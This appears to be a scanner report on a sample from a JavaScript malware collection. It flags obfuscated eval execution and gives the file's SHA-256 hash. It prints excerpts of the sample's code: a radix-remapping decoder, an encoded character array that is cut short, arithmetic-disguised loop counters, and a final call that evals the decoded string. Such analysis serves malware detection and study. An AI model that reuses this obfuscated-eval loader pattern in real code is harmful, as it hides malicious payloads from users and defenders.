Suspicious ^80% javascript-malware-collection Download

20151211_8963acb321f35238d99ae6cb0ae7b0d4.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25661020c71d980ff928d9eea80a5b9199b01fa640ce9bcf2460ca2309e709e93e9

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function DGNGT(DGjkeCSJYvN,ZDJHPGIsarpEI,SdwnYnAX){eYch=parseInt(DGjkeCSJYvN,ZDJHPGIsarpEI);kDRaP=eYch.toString(SdwnYnAX);return kDRaP;}function alRgUkdVDsmerxW(bhXywolCzPVZwpEHi){eval(bhXywolCzPVZwpEHi)}
3function KxdnMBzfoIQmEljGzCRMyWihrdAbNZPxKFhpyIpGFdsftSFJjvrvVX(XQjnelkopPzkz,FRjLciBfsZqHZg){ return uOhzv[DGNGT(XQjnelkopPzkz[FRjLciBfsZqHZg],(3578+202)/180,(7190+170)/736)];}
4function WQUMjrS(uTxjUBqDErhpOJrGVUGxcrsWKNlZWTiWyUSs) {return !isNaN(parseFloat(uTxjUBqDErhpOJrGVUGxcrsWKNlZWTiWyUSs)) && isFinite(uTxjUBqDErhpOJrGVUGxcrsWKNlZWTiWyUSs);}
5function JPOPPmglOHq(AAFVxWVP,GFveyb){return AAFVxWVP.split(GFveyb)}
6var t=new Array("d","a","d","a","5d","4d","59","1b","3j","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  edMSR=[t,F];
9var MDDoMTNPs=[];
10function KqUfZpSwkoxfclwqB(edMSR){SaJohHAGrIP= '';NUJrUutcnMu=(-712+712)/216; while(true){if(NUJrUutcnMu >= (710+490)/600)break;MDDoMTNPs[NUJrUutcnMu]=(-902+902)/730; while(true) { if(MDDoMTNPs[NUJrUutcnMu] > edMSR[NUJrUutcnMu].length-(-44+744)/700) { break; } if (WQUMjrS(DGNGT(edMSR[NUJrUutcnMu][MDDoMTNPs[NUJrUutcnMu]],(9187+11)/438,(4320+590)/491))) {SaJohHAGrIP += KxdnMBzfoIQmEljGzCRMyWihrdAbNZPxKFhpyIpGFdsftSFJjvrvVX([edMSR[NUJrUutcnMu][MDDoMTNPs[NUJrUutcnMu]]], (-156+156)/884);} MDDoMTNPs[NUJrUutcnMu]++;}NUJrUutcnMu++;} return SaJohHAGrIP}
11alRgUkdVDsmerxW(KqUfZpSwkoxfclwqB(edMSR));